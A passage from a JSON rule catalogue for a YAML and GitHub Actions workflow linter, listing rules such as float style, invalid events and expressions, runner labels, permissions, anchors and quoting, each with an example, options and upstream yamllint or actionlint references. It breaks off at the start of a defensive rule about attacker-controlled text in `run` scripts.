      "description": "Restricts how plain floats are written. Every option is off until set: `require_numeral_before_decimal` reports `.5`, `forbid_scientific_notation` reports `1e3`, `forbid_nan` reports `.nan` and `forbid_inf` reports `.inf`. Quoted and tagged scalars are not checked. The fix for `.5` is `0.5`.",
      "example": {
        "config": null,
        "fixed": "x: 0.5\ny: 0.5\nz: 1e3\n",
        "input": "x: .5\ny: 0.5\nz: 1e3\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 4,
            "length": 2,
            "line": 1
          },
          {
            "column": 4,
            "length": 3,
            "line": 3
          }
        ]
      },
      "fix": "safe",
      "id": "float-style",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [
        {
          "default": false,
          "description": "Report `.5`, `-.5e3`: a digit must come before the decimal point.",
          "name": "require_numeral_before_decimal",
          "type": "bool"
        },
        {
          "default": false,
          "description": "Report `1e3`, `1.5E-2`, `.5e3`.",
          "name": "forbid_scientific_notation",
          "type": "bool"
        },
        {
          "default": false,
          "description": "Report `.nan`, `.NaN`, `.NAN`.",
          "name": "forbid_nan",
          "type": "bool"
        },
        {
          "default": false,
          "description": "Report `.inf`, `-.Inf`, `+.INF`.",
          "name": "forbid_inf",
          "type": "bool"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "float-values",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.float_values"
        },
        {
          "id": "float-values.forbid-inf / forbid-nan / forbid-scientific-notation / require-numeral-before-decimal",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.float_values"
        }
      ],
      "why": "YAML 1.1 and 1.2 parsers read some float spellings differently (`1e3` is a string in YAML 1.1, since it requires a dot), and `.5` is hard to see. A project can choose the spellings that every parser it uses reads the same way."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an `if:` that is a constant (`if: false`), or one with text around its `${{ }}`, which makes it a non-empty string that is always true (`if: ${{ a }} && ${{ b }}`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "on: push\njobs:\n  a:\n    runs-on: ubuntu-latest\n    steps:\n      - run: echo\n        if: false\n      - run: echo\n        if: ${{ github.ref }} && true\n      - run: echo\n        if: \"${{ github.ref == 'x' }} \"\n      - run: echo\n        if: github.ref == 'x' && !cancelled()\n      - run: echo\n        if: ${{ github.ref == 'x' }}\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 7
          },
          {
            "column": 13,
            "length": 1,
            "line": 9
          },
          {
            "column": 13,
            "length": 1,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "if-condition",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "if-cond",
          "note": "Constant conditions and text around the markers of an `if:`.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#if-cond-constant"
        }
      ],
      "why": "A string with text around the expression is never false, even when the expression is `false`, so the step or job always runs. A constant condition is left in by mistake after a test.\n\nTo fix, write the whole condition inside one `${{ }}`, or without it."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an event name, activity type, filter or schedule that the `on` section cannot have.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "on:\n  pushh: {}\n  push:\n    branches: [main]\n    branches-ignore: [dev]\n  pull_request:\n    types: [opened, created]\n  pull_request_review:\n    types: submitted\n    tags: v1\n  schedule:\n    - cron: '0 0 * *'\n    - cron: '0 0 * * 9'\n    - cron: '*/15 0-5 * * mon'\n    - cron: '*/4 * * * *'\n    - cron: '0 1 * * *'\n      timezone: Europe/Berlin\n    - cron: '0 1 * * *'\n      timezone: UTC\n  workflow_dispatch:\n    inputs:\n      kind:\n        type: choice\n      flag:\n        type: boolean\n        default: yes\n      ok:\n        type: choice\n        options: [a, b]\n        default: a\n      empty:\n        options: []\n  workflow_call:\n    inputs:\n      n:\n        type: number\n        default: x\n      r:\n        required: true\n        default: 1\njobs: {}\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 5,
            "line": 2
          },
          {
            "column": 5,
            "length": 15,
            "line": 5
          },
          {
            "column": 21,
            "length": 7,
            "line": 7
          },
          {
            "column": 5,
            "length": 4,
            "line": 10
          },
          {
            "column": 13,
            "length": 9,
            "line": 12
          },
          {
            "column": 13,
            "length": 11,
            "line": 13
          },
          {
            "column": 13,
            "length": 13,
            "line": 15
          },
          {
            "column": 17,
            "length": 3,
            "line": 19
          },
          {
            "column": 7,
            "length": 4,
            "line": 22
          },
          {
            "column": 9,
            "length": 7,
            "line": 26
          },
          {
            "column": 9,
            "length": 7,
            "line": 37
          },
          {
            "column": 9,
            "length": 7,
            "line": 40
          }
        ]
      },
      "fix": null,
      "id": "invalid-event",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "events/inputs",
          "note": "A default that does not fit the type or the options, options on a non-choice input, a choice without options, a default on a required workflow_call input.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-workflow-dispatch-events"
        },
        {
          "id": "events",
          "note": "Event names, activity types and the keys of event sections.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-webhook-events"
        },
        {
          "id": "events/schedule",
          "note": "Cron lines (field count, ranges); not time zones or the shortest interval.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-cron-syntax-and-timezone"
        },
        {
          "id": "events/filters",
          "note": "A filter and its `-ignore` twin together.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-webhook-events"
        }
      ],
      "why": "An event or activity type that GitHub does not have never fires. A misspelled `pushh`, or a type that the event does not have, means the workflow does not run when its author expects.\n\nTo fix, use the event, type and filter that the documentation lists."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports a `${{ }}` expression that is not closed or is empty, that does not parse (unbalanced brackets, a string that is not closed, a character expressions do not have, such as a double quote), or that names a context or function that does not exist.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "name: ${{ github.workflow }}\nenv:\n  B: ${{ }}\n  C: ${{ foo.bar }}\n  D: ${{ contains(github.ref, 'x' }}\n  E: ${{ nope(1) }}\n  F: ${{ \"a\" }}\n  G: ${{ format('{0} }}', env.A) }}\n  H: ${{ github.event.commits[0].message }}\n  I: ${{ github.ref == 'it''s' && !cancelled() }}\n  J: ${{ secrets.X }}-${{ inputs.y }}\n  K: ${{ github.event. }}\n  A: ${{ github.sha\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 1,
            "line": 3
          },
          {
            "column": 10,
            "length": 1,
            "line": 4
          },
          {
            "column": 18,
            "length": 1,
            "line": 5
          },
          {
            "column": 10,
            "length": 1,
            "line": 6
          },
          {
            "column": 10,
            "length": 1,
            "line": 7
          },
          {
            "column": 24,
            "length": 1,
            "line": 12
          },
          {
            "column": 6,
            "length": 3,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "invalid-expression",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "expression/syntax",
          "note": "The grammar is not parsed: a misplaced operator or a missing operand is not reported.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-syntax-expression"
        }
      ],
      "why": "The mistake shows only after the workflow is pushed, when the run fails.\n\nTo fix, correct the expression."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a branch, tag or path filter that is not a valid pattern: a bad range or escape, a character that a ref name cannot have, or `.` or `..` in a path.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "on:\n  push:\n    branches:\n      - 'release/**'\n      - '^foo-'\n    tags:\n      - 'v*+'\n      - 'v[9-1]'\n      - 'v[0-'\n      - 'v1.*'\n    paths:\n      - ./foo/bar.txt\n      - 'src/**'\n      - '  foo'\njobs: {}\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 7,
            "line": 5
          },
          {
            "column": 9,
            "length": 5,
            "line": 7
          },
          {
            "column": 9,
            "length": 8,
            "line": 8
          },
          {
            "column": 9,
            "length": 6,
            "line": 9
          },
          {
            "column": 9,
            "length": 13,
            "line": 12
          },
          {
            "column": 9,
            "length": 7,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "invalid-glob",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "glob",
          "note": "Glob syntax (ranges, escapes, quantifiers), ref name characters and path dots of the filters; messages differ.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-glob-pattern"
        }
      ],
      "why": "A pattern that GitHub cannot read does not select the refs or paths it was written for, so the workflow runs for the wrong pushes or not at all.\n\nTo fix, correct the pattern."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports a job id that does not start with a letter or `_`, or that has a character other than letters, digits, `-` and `_`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "jobs:\n  build:\n    runs-on: ubuntu-latest\n  _x-1:\n    runs-on: ubuntu-latest\n  build app:\n    runs-on: ubuntu-latest\n  1st:\n    runs-on: ubuntu-latest\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 9,
            "line": 6
          },
          {
            "column": 3,
            "length": 3,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "invalid-job-id",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "id/job",
          "partial": false,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#id-naming-convention"
        }
      ],
      "why": "GitHub rejects the workflow with a message about the id, and in expressions the id is used as a name (`needs.<id>`), where other characters do not work.\n\nTo fix, rename the job."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a permission scope or value that GitHub does not have.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "on: push\npermissions:\n  content: read\n  id-token: read\n  contents: write\njobs:\n  a:\n    runs-on: ubuntu-latest\n    permissions: read\n    steps:\n      - run: echo\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 7,
            "line": 3
          },
          {
            "column": 13,
            "length": 4,
            "line": 4
          },
          {
            "column": 18,
            "length": 4,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "invalid-permissions",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "permissions",
          "note": "Scopes and values.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#permissions"
        }
      ],
      "why": "A misspelling like `content: read` does not grant the access that the job needs, and a job that sets `permissions` has no access to the scopes it does not name.\n\nTo fix, use a known scope with a value it takes (`read`, `write` or `none`)."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `runs-on` label that is not one of the known runner labels. A job that also has `self-hosted` is not checked, `${{ matrix.name }}` stands for the values of the matrix, and other expressions are skipped.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "jobs:\n  a:\n    runs-on: ubuntu-latest\n  b:\n    runs-on: ubuntu-lates\n  c:\n    runs-on: [self-hosted, gpu]\n  d:\n    runs-on: [ubuntu-22.04, windows-2022]\n  e:\n    runs-on: ${{ matrix.os }}\n    strategy:\n      matrix:\n        os: [ubuntu-latest, linux-latest]\n        include:\n          - os: macos-10\n  f:\n    runs-on:\n      group: big\n      labels: [ubuntu-large]\n  g:\n    runs-on: macos-15\n  h:\n    runs-on:\n    steps: []\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 14,
            "length": 12,
            "line": 5
          },
          {
            "column": 29,
            "length": 12,
            "line": 14
          },
          {
            "column": 17,
            "length": 8,
            "line": 16
          },
          {
            "column": 16,
            "length": 12,
            "line": 20
          },
          {
            "column": 5,
            "length": 7,
            "line": 24
          }
        ]
      },
      "fix": null,
      "id": "invalid-runs-on",
      "languages": [
        "github-actions"
      ],
      "options": [
        {
          "default": [
            "ubuntu-slim",
            "ubuntu-latest(-(4|8|16)-cores)?",
            "ubuntu-(24|22)\\.04(-arm)?",
            "windows-latest(-8-cores)?",
            "windows-2025(-vs2026)?",
            "windows-2022",
            "windows-11-arm",
            "macos-latest(-(xlarge|large))?",
            "macos-(26|15)(-(intel|xlarge|large))?",
            "macos-14(-(xlarge|large))?",
            "self-hosted",
            "linux",
            "macos",
            "windows",
            "x64",
            "arm",
            "arm64"
          ],
          "description": "Regular expressions; a label is valid when one matches all of it, ignoring case.",
          "name": "labels",
          "type": "list"
        }
      ],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "runner-label/unknown",
          "note": "Sudsy's list is patterns for the hosted images, not the list of one actionlint release; labels with an expression are not checked.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-runner-labels"
        }
      ],
      "why": "A label that no runner has leaves the job queued with no runner to take it. A misspelling such as `ubuntu-lates` is the usual cause. The option `labels` lists the known labels.\n\nTo fix, use a label of a hosted runner, or add `self-hosted` for your own."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a job with no `permissions`, in a workflow with no top-level `permissions`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "jobs:\n  a:\n    runs-on: ubuntu-latest\n  b:\n    permissions: read-all\n    runs-on: ubuntu-latest\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "missing-permissions",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "Without `permissions`, the `GITHUB_TOKEN` gets the default of the repository or organization, which for older repositories is read and write on most scopes. A compromised step or action then has more access than the job needs.\n\nTo fix, set `permissions` with only the scopes the job uses, for example `contents: read`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an anchor name that is defined again in the same document, on the second `&name`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "- &a 1\n- &a 2\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 2,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-anchors",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [],
      "presets": [
        "yaml/yamllint"
      ],
      "upstream": [
        {
          "id": "anchors.forbid-duplicated-anchors",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.anchors"
        }
      ],
      "why": "An alias refers to the latest definition above it, so after a repeated anchor the same `*name` can mean two different nodes depending on its place, which is easy to misread.\n\nTo fix, give the second anchor another name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a mapping key or sequence entry without a value (an implicit null), at the `:` or `-`. A value with an anchor or tag is not empty. The options `block_mappings`, `flow_mappings` and `block_sequences` choose what is checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "key:\nlist:\n  -\nfull: 1\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 4,
            "length": 1,
            "line": 1
          },
          {
            "column": 3,
            "length": 1,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-empty-values",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [
        {
          "default": true,
          "description": "Check block mappings.",
          "name": "block_mappings",
          "type": "bool"
        },
        {
          "default": true,
          "description": "Check flow mappings (`{a: }`).",
          "name": "flow_mappings",
          "type": "bool"
        },
        {
          "default": true,
          "description": "Check block sequences.",
          "name": "block_sequences",
          "type": "bool"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "empty-values",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.empty_values"
        },
        {
          "id": "empty-values.forbid-in-block-mappings / flow-mappings / block-sequences",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.empty_values"
        }
      ],
      "why": "An empty value is `null`, but it is easy to read as an omission or a value that was lost while editing, and parsers of config files may treat `null` and a missing key differently.\n\nTo fix, write `null` or `~`, or give the key its value."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a flow mapping (`{a: 1}`), on its opening brace. With `allow_empty`, an empty one (`{}`) is not reported.",
      "example": {
        "config": "no-flow-mappings:\n  level: warn\n  options:\n    allow_empty: true\n",
        "fixed": null,
        "input": "a: {x: 1}\nb: {}\nc: { # note\n }\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 4,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-flow-mappings",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [
        {
          "default": false,
          "description": "Do not report empty collections (`{}`, `[]`).",
          "name": "allow_empty",
          "type": "bool"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "braces.forbid",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.braces"
        }
      ],
      "why": "Block style is the main style of YAML: one entry to a line, with diffs that show a single changed entry. A flow mapping packs entries on one line, so a change touches the whole line and long ones wrap badly.\n\nTo fix, write the entries on their own lines."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a flow sequence (`[a, b]`), on its opening bracket. With `allow_empty`, an empty one (`[]`) is not reported.",
      "example": {
        "config": "no-flow-sequences:\n  level: warn\n  options:\n    allow_empty: true\n",
        "fixed": null,
        "input": "a: [1, 2]\nb: []\nc: [ # note\n ]\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 4,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-flow-sequences",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [
        {
          "default": false,
          "description": "Do not report empty collections (`{}`, `[]`).",
          "name": "allow_empty",
          "type": "bool"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "brackets.forbid",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.brackets"
        }
      ],
      "why": "Block style is the main style of YAML: one item to a line, with diffs that show a single changed item. A flow sequence packs items on one line, so a change touches the whole line and long ones wrap badly.\n\nTo fix, write one `- item` per line."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports the merge key `<<`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "base: &base\n  a: 1\nb:\n  <<: *base\n  c: 2\nd: \"<<\"\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 2,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-merge-keys",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "syntax-check/merge-key",
          "note": "The shared reference rule, enabled by the preset for workflows.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#yaml-anchors"
        }
      ],
      "why": "The merge key is from YAML 1.1; YAML 1.2 dropped it from the specification. Parsers that follow 1.2 strictly or do not implement it read `<<` as an ordinary key, so the merged values are missing.\n\nTo fix, write the merged entries out or let the tool that reads the file expand the anchors."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a plain `0755` (octal to YAML 1.1 parsers, decimal 755 to YAML 1.2) or `0o755` (octal to YAML 1.2, a string to YAML 1.1). Quoted and tagged scalars are not checked. The options `implicit` and `explicit` choose which form is reported. No fix: the intended value is not known.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "mode: 0755\nname: \"0755\"\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 7,
            "length": 4,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-octal-values",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [
        {
          "default": true,
          "description": "Report `0755`.",
          "name": "implicit",
          "type": "bool"
        },
        {
          "default": true,
          "description": "Report `0o755`.",
          "name": "explicit",
          "type": "bool"
        }
      ],
      "presets": [
        "yaml/yamllint"
      ],
      "upstream": [
        {
          "id": "octal-values",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.octal_values"
        },
        {
          "id": "octal-values.forbid-implicit-octal / forbid-explicit-octal",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.octal_values"
        }
      ],
      "why": "The same text is a different number to different parsers: a file mode written as `0755` is 493 to one and 755 to the other, so the permissions come out wrong without an error.\n\nTo fix, quote the value (a string that the program converts itself) or write the decimal number."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports an alias that is inside the node of its own anchor, which makes the data refer to itself.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a: &x\n  b: *x\nc: &y 1\nd: *y\ne: &z\n  f: 1\ng: *z\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 6,
            "length": 2,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-recursive-alias",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "syntax-check/recursive-alias",
          "note": "The shared reference rule, enabled by the preset for workflows.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#yaml-anchors"
        }
      ],
      "why": "The data is then a loop with no end. Parsers either refuse the file or build a cyclic structure that breaks the first program that walks it, for example when it is printed or converted to JSON.\n\nTo fix, remove the alias or move it out of the anchored node."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports an alias that names an anchor not defined earlier in the same document, on the alias.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a: &x 1\n---\nb: *x\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 4,
            "length": 2,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-undefined-alias",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [],
      "presets": [
        "yaml/yamllint",
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "syntax-check/undefined-alias",
          "note": "The shared YAML rule, enabled by the preset for workflows.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#yaml-anchors"
        },
        {
          "id": "anchors",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.anchors"
        },
        {
          "id": "anchors.forbid-undeclared-aliases",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.anchors"
        }
      ],
      "why": "YAML requires the anchor to come first, in the same document, so the file is invalid and a parser stops with an error.\n\nTo fix, define the anchor above the alias, or fix the name."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports an anchor that no alias refers to. The fix removes the anchor and changes nothing about the data.",
      "example": {
        "config": null,
        "fixed": "a: 1\nb: &y 2\nc: *y\n",
        "input": "a: &x 1\nb: &y 2\nc: *y\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 4,
            "length": 2,
            "line": 1
          }
        ]
      },
      "fix": "safe",
      "id": "no-unused-anchors",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "syntax-check/unused-anchor",
          "note": "The shared YAML rule, enabled by the preset for workflows.",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#yaml-anchors"
        },
        {
          "id": "anchors.forbid-unused-anchors",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.anchors"
        }
      ],
      "why": "An anchor that nobody uses is left from a removed alias and makes a reader look for the place that shares the node."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a step that uses a popular action at a version whose runner (the Node version it runs on) is retired, from a list of actions kept with the rule.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "on: push\njobs:\n  a:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v2\n      - uses: actions/checkout@v4\n      - uses: actions/checkout@v3.1.0\n      - uses: ./local\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 15,
            "length": 19,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "outdated-action",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "action/outdated-runner",
          "note": "The specs of actionlint's list of outdated popular actions (`data/outdated-actions.txt`, copied from its pinned release).",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-runner-labels"
        }
      ],
      "why": "GitHub retires the Node runtimes that old action versions use. Their jobs print deprecation warnings and, once the runtime is removed, fail.\n\nTo fix, update the action to a newer version."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports strings that are quoted or unquoted against the rule you set with `required`: `always` wants quotes on every string, `only_when_needed` reports quotes that change nothing (unless `extra_allowed` matches) and plain strings that `extra_required` matches, `optional` only the latter. `quote_type` sets the quotes. Plain scalars that are not strings (`12`, `true`, `null`, dates, ...), block scalars and scalars tagged `!!` are never checked.",
      "example": {
        "config": null,
        "fixed": "name: \"bar\"\nquoted: \"baz\"\nnum: 1\n",
        "input": "name: bar\nquoted: \"baz\"\nnum: 1\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 7,
            "length": 3,
            "line": 1
          }
        ]
      },
      "fix": "unsafe",
      "id": "quoted-strings",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [
        {
          "choices": [
            "any",
            "single",
            "double",
            "consistent"
          ],
          "default": "any",
          "description": "The quotes to use. `consistent`: the first quoted string of the file decides.",
          "name": "quote_type",
          "type": "string"
        },
        {
          "choices": [
            "always",
            "optional",
            "only_when_needed"
          ],
          "default": "always",
          "description": "`always`: every string is quoted. `optional`: quotes are free, but must be of `quote_type`. `only_when_needed`: quotes only where the string would otherwise read as something else.",
          "name": "required",
          "type": "string"
        },
        {
          "default": [],
          "description": "Regular expressions; a string they match (searched in the value) must be quoted even with `optional` or `only_when_needed`.",
          "name": "extra_required",
          "type": "list"
        },
        {
          "default": [],
          "description": "Regular expressions; a string they match may be quoted with `only_when_needed`.",
          "name": "extra_allowed",
          "type": "list"
        },
        {
          "default": false,
          "description": "Accept the other quote type when the string contains the wanted quote.",
          "name": "allow_quoted_quotes",
          "type": "bool"
        },
        {
          "default": false,
          "description": "Check mapping keys too.",
          "name": "check_keys",
          "type": "bool"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "quoted-strings",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.quoted_strings"
        },
        {
          "id": "quoted-strings.quote-type",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.quoted_strings"
        },
        {
          "id": "quoted-strings.required",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.quoted_strings"
        },
        {
          "id": "quoted-strings.extra-required / extra-allowed",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.quoted_strings"
        },
        {
          "id": "quoted-strings.allow-quoted-quotes",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.quoted_strings"
        },
        {
          "id": "quoted-strings.check-keys",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.quoted_strings"
        }
      ],
      "why": "Whether to quote is a style choice, but it matters for safety: an unquoted `no`, `1e3` or `0755` is not the string it looks like. A project that always quotes strings never has to know which words YAML reads as something else, and one that never quotes unless needed keeps the files short.\n\nFixes quote a plain string and change the quote type, both keep the value. Removing quotes is unsafe, since a YAML 1.2 parser reads some strings (`1e3`) as numbers."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an expression in a `run` script that reads text that an attacker can choose, such as the title or body of an issue or pull request, a branch name or a commit message.",
      "example": {
        "config": null,
        "fixed": null,
